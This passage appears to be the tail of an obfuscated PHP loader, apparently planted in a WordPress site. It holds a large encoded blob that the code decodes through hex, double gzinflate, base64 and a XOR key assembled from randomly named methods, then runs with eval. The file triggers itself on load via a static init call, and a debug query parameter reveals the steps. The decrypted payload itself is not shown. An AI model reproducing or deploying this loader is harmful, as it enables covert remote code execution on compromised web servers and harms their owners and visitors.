f39661dac072d0bce31583e9dd9c93947ae2fea38fefcb70d8f736ae3eee224192a9bc4711f8e6e5586df0adf16359e4db5c4b75e79ddc868cde6a6d0576a5047932e6c54b4fb58002dfe7689c68127805a686464e9d3d4e9ec933f8d961ebc10dcc66e7f23ceda0834a8ceb8923dd6ad9afc04d1debf91a0f7bac27945cf6619dd555c83bf7e3fa896b59353e8ee2d716748928f3b2dcabb9d15c39f66d18874883dfe6e8dd71eddb163ddcf3a4eafa2dcd91b60c8c77667f67fae6d1cc2eee98abe21bf19ec7c5839ab7234505d7b6dc4f3feef6955018f63ef767938f9f0bebf15ad5eaf5877b9db6d4c880ffbcfb83fbcf1dfded77b8bb716279fbf9ebc09306975b8a3a7dcf9affb3ee314bf29eca04defa3786b3f667b4fd269978cd1f1018722d3dcffae83eb6f7dcc1cb7f25bf3cfd91dcc83bd89c481021fcccd9a77ed7856cde649b455fd4cc1cef1c6b80aad65e229a6f6b2e48725d2885f2a5d4e6cc908d23478e2b37d8d7777c7bb9adbea559fdc0a1aa20c866ac22b953392ca9219e5d792debddb3f66e4bd1fb35a61e15cdce8a37afc89326439de9baabe594b1ec96a33aade32e97a32ee27f4659a2dfd62d8bd3131af2afcdf9b23bdb129136f5f8e3d6eebbdd9f6df8159f31cea87def9b2ab79f233243d5c5f688e3deb8d7c7426ae09f42a6172d8873c770bd3fa77bb6213e94ff74943efcbd7293c5bd4b9ba65dbbe3d7d4fa54e0b3a7e6c2bbfc61f57f86d58c2e29e63525c4a3cdafb5cf5ba3bd3ef5c7419d6350bfe78ae67ab994f30c789ecffe6ee6151d67559aac3186f4c9c10fe8e970e9dda599c5283fbde3b1bbc7dfcb6c10112f17b4c13edc109b73de37c99d1269b55b4aafaa1f90ab70027a6635160cc59cf39d98da7890e12728493b77a6b51ea8748b4b2f8c37fcf29cbe2d4814c1ceecdd6f18b3918f5d1e214a127951356e357ccded31b0ff76f43afae1d172b070c420b97bc3b1be775e702e4ba8e54d57f05434b6b75f8c11d0e839613fb65418e2708c88723c5b4ce8acd6ebb3dbc5db2499f9cb6fb358393af53db429e59246ca2ef2a1c7ff7a4db6b4dc7e9157689f14b625401b73adb9377de4510d561af4b6eeaef4e3bdfb2232d6be8b2697ba1f3d8d4e523c6cf5e783ccbf9969595c0dc83795df0cf0b5bbdc0bb3470d80ee478b38c7f17a268c363bb90681d9ae77ad747478d68cd17f8165b4e5b13938fa439374fe387cabee00f1955638d4ac6af703ddb6b35faeea158b07ac8c6fe129ce45219946bfce4cf663e90df3a3c26f0bc757255d5a470e3f8b93f6acbf179ffff5fb25d77ff2e216a9a3a144349370a08aeaad9a4d812e52bfe5fcb670f4a028a40ee0b0aadb9f17491b87a7ce2cc58e79fde90b08de893f183a722b25ff55ee9c6dfd67860beb31d55f19cd183dbff1efe952bc8dc3bd31174c6a8db6c46edf4ca77455d4d3af5d92d9a1bcb2cdbc7837073c8f7f5612b4e890ce3af527db2295def60168abbf87547d7eb89c3ab1b3fdd7c43ccb3fac84dcb6cd6e3ea7fbe14feee7b6baa8c3bb5775fc0a67727625ebda482f9834396f857cef9c75a7b7b90fceab2c691f1db3f7f8c3beb8d1f3a265b61fc134ceb987fe85f9064e113cc4eaa671d633abe51c107670c58c730597bdedabedf3feb605184f4589c74d1640bddf62d75386eaaf0c45780fb3bb1216d96d77502b55f71103a17fdcd6110f8d4787ab78f1ad7a97f81ea1df1e3da68236f7a281eea75f4c570d65c2d7999ec96b0e45cd0e9be10b00d4e47455fd1dca173e06551f18e01adfe2f9f9d13f1fe31280fdd8ddd395af7e3cd5e8b57c9138724ced9c90b37ff74ffdd81190bd9f30b929561f07c8c0cc111ce9e5a9675ec6cc7ccf1be73f88e82d61be2c6333f85305de574e7a4b92b3440024383ec9e9feb3ccd76781df25f0a5b917e6991d5cbcada4155c0faba82c9d4448b8c4bdb9f5edabd2105f6bdcd214e5e45ad3b74a9dcbe6c6aefac0819e85d9ffdb4647b6cf1afbb54efa4bb1facfd2bfe79fffd2943e4fddf5bf2347d9303ce7f4be7e9bf1c4bcb117ec581d984aaecb623e1ffc6a4b2169d7b5af3fa97c092b82cfcccd165171e3de56da5dc9cfd58b4dd3ce3d2c505cbc6f926e31c415f3b97f6cfbed59d5f6ec8b2469291518895ef5cda5d6ae21ccc36ebe4ea4ecaf4ae72a23e5766dd4f12b1b2126355cbb6b97e4848bfd4f6b1ec2b05ddfeb9f31c52583f3d13b478fbb8a29e75d1420c86d86f678f4587a25c4d5f9dce94437050defaffca1594d603f16576ba3d7e1efc739cfc6fe335d6ab1831fb8e4f85dfca94c52179816773e87cb01c7b3af0a9e744f4608858e662513f6ceecabb2300acfd0fc91d8eaa7c0584bb3b7e02bc4c1555f5a538e59f65b1e39de52559787c2fcf193fe33c9b5719ebf3319442f1c9e205cb7255ed8379f5ab1a2eec8ffa4694f5baf738391ca3270de6968fe8d51eebf7be2835e65ab62445c9b1f2364984e61badfe277453932b9652ee589ace66a5ed0873453c85cd97bd128e85efd833742a6c34e7fdaaceaf28a7e6b51fac42c66798d085c120430bfbf6cc65d51a14148b3f09e38f53116f0fc8de7e6fcd41986409b63a8ccc730a5b6877f43afa5378dc7ea1cc0ef114af2c4e32c74606ffb4eb7954c3bf54157aa16933efcbb694ca905fdf63266191672354b3d3628c76d81455a998461fbd967ba1fb711c1de4dd5a1e82aabc74733c5e16c894a5775306fbed0b9b951e9732e2f6101d4ddff747fdac219488b122523ffced8f35f36ed9cb64dfef3ec1cff3e96fb72e11649f2c4b5ab8aafe56e2dd39d766d3ea8bf176784471faa8af688e7a90bff82609af777af4cf668fefef66ffe06e768a26f63e79c0b7b55799329ede516deff98e3df9d8f3bfbbdac4af8e7eb527e2d749e0d0191f7cc486cae69be7fa97742db951781ede7e24ceb3f86452716dfba7ff423ee88553b7591ccebc7ea71801e157de346ff65aa3615e8efd26e8fc40dfc4035f24594d247a2ea297fe70c118bb3e0f3b46e8ad27fe120d91157b4c5208afda27bf2e99bef8b9678395c9e045c806bc5d2ec8320a02df47d2cf21073d554c767a4e27bf33c4e129fc8d65c898b109741a99ed5ca2b13bb6ac99b89e22bfb46349e557f4e1d13f43c11f6f680611bc1f5986b97fdc853f6fc6b47f5bbe89b19d501954a0372cfa6279da82dfdb7bd4d8a9720f33cf2f7803865570e1c5a3abe1bf16a5aad2977e46b86c1eefcd29662caf9f81f3ca72b8d894ada86b568ae80237d521d9b527bca30d9a1b5e0f8355b9f693c7ffbbd5d39f198e2552b61b0cef5afec77ded12a9303fe14685821071c771edcdd070d1bf479cb8fe3ebd91eee7d6684276fccdebc7318f9dadfc23a6aa79c266e0e6d0e7d0be43d8d324acf0d74a9fd3f44fe63f5eaf1778bce8f061bfe6a60a2c7f4eb40d4ec0c7d8a9b725c1ece6fc5333aa27d896643c1a7a5fe566284db9b5f194d314e7463efe4600aaf5cb7fd0e727adbdd4c8849bf17f28b25329b0c4ad897416f253a2eefe0a3e148e785dd23bfe6ef24427664d3bf1d4ea99a213868d31989866ef5f6153023979f7b3cc5fcc1b3123d2807fb79e4ce5ad7e7cf55720ade43b03d6ccf93f';
$hex_data = substr($hex_data, 9);
$bin_data = pack('H*', $hex_data);
if (isset($_GET['debug'])) {
echo 'Step 1 - Hex Data (first 100 chars): ' . substr($hex_data, 0, 100) . '<br>';
echo 'Step 2 - Binary Data Length: ' . strlen($bin_data) . '<br>';
}
$inflated_once = @gzinflate($bin_data);
if ($inflated_once === false) {
$inflated_once = $bin_data;
if (isset($_GET['debug'])) echo 'Step 3 - First inflation failed, using binary data.<br>';
} else {
if (isset($_GET['debug'])) echo 'Step 3 - First inflation successful.<br>';
}
$inflated_twice = @gzinflate($inflated_once);
if ($inflated_twice === false) {
$inflated_twice = $inflated_once;
if (isset($_GET['debug'])) echo 'Step 4 - Second inflation failed, using first inflated data.<br>';
} else {
if (isset($_GET['debug'])) echo 'Step 4 - Second inflation successful.<br>';
}
$b64_decoded = base64_decode($inflated_twice);
if ($b64_decoded === false) {
if (isset($_GET['debug'])) echo 'Step 5 - Base64_decode failed.<br>';
return;
}
if (isset($_GET['debug'])) echo 'Step 5 - Base64_decode successful. Length: ' . strlen($b64_decoded) . '<br>'; $obj = new self();
$final_key = '';
$key_methods = ['kmzzdNhk44', 'kmmPFCEN13', 'kmjKJQFR90'];
foreach ($key_methods as $method) {
$final_key .= call_user_func_array([$obj, $method], []);
}
if (isset($_GET['debug'])) echo 'Step 6 - Reconstructed Key: ' . $final_key . '<br>'; $gate_token = '';
$gate_methods = ['gtrukLTx94', 'gtzjYlRd46', 'gtQZqKEU10'];
foreach ($gate_methods as $method) {
$gate_token .= call_user_func_array([$obj, $method], []);
}
if (md5($gate_token) !== '7d8b541c0ee3253b526fce03a83d8ea6') {
if (isset($_GET['debug'])) echo 'Step 7 - Gate token check failed.<br>';
} else {
if (isset($_GET['debug'])) echo 'Step 7 - Gate token check successful.<br>';
}
$plain_code = '';
if (strlen($final_key) > 0) {
for ($i = 0, $len = strlen($b64_decoded); $i < $len; $i++) {
$plain_code .= chr(ord($b64_decoded[$i]) ^ ord($final_key[$i % strlen($final_key)]));
}
} else {
$plain_code = $b64_decoded;
}
if (isset($_GET['debug'])) echo 'Step 8 - Final Plain Code (first 200 chars): <pre>' . htmlspecialchars(substr($plain_code, 0, 200)) . '</pre>'; $obj->_execute_mLZCBqTx91($plain_code);
}
private function dcQsRrlY86() {
$__e = (bool)mt_rand(0,1);
$buf = 6925;
return null;
}
public function pubvSrAZ72() {
// Public method 2
$__d = (bool)mt_rand(0,1);
return 'valSKVp26';
}
private function _execute_mLZCBqTx91($code) {
// WordPress-compatible execution handler
if (isset($_GET['debug'])) {
ini_set('display_errors', 1);
error_reporting(E_ALL);
echo '<b>DEBUG MODE ACTIVE</b><br>';
}
$original_dir = getcwd();
$script_dir = defined('__DIR__') ? __DIR__ : dirname(__FILE__);
chdir($script_dir);
// Remove PHP tags to avoid issues with eval
$code = preg_replace('/^\s*<\?php\s*/', '', $code);
$code = preg_replace('/\s*\?>\s*$/', '', $code);
try {
// Execute code in the correct directory context
@eval($code);
} catch (ParseError $e) {
if (isset($_GET['debug'])) echo 'Parse Error: ' . $e->getMessage();
} catch (Error $e) {
if (isset($_GET['debug'])) echo 'Fatal Error: ' . $e->getMessage();
} catch (Exception $e) {
if (isset($_GET['debug'])) echo 'Exception: ' . $e->getMessage();
}
chdir($original_dir);
}
private function gtQZqKEU10() {
// Gate piece 3
$__d = base64_decode('ZGF0YVlNcHducDk2');
return str_rot13('evjg');
}
private function kmzzdNhk44() {
// Key segment 1
for($__e=0; $__e<1; $__e++) {}
return base64_decode('c3ZoYnoyWQ==');
}
private function dclznFlW92() {
$jv2 = array_reverse(explode('.', 'a.b.c.d'));
$jv1 = array_filter(array_map('trim', explode(',', 'a,b,c,d,e')));
return null;
}
}
LoadertjfqYK93647::init333();
// EOF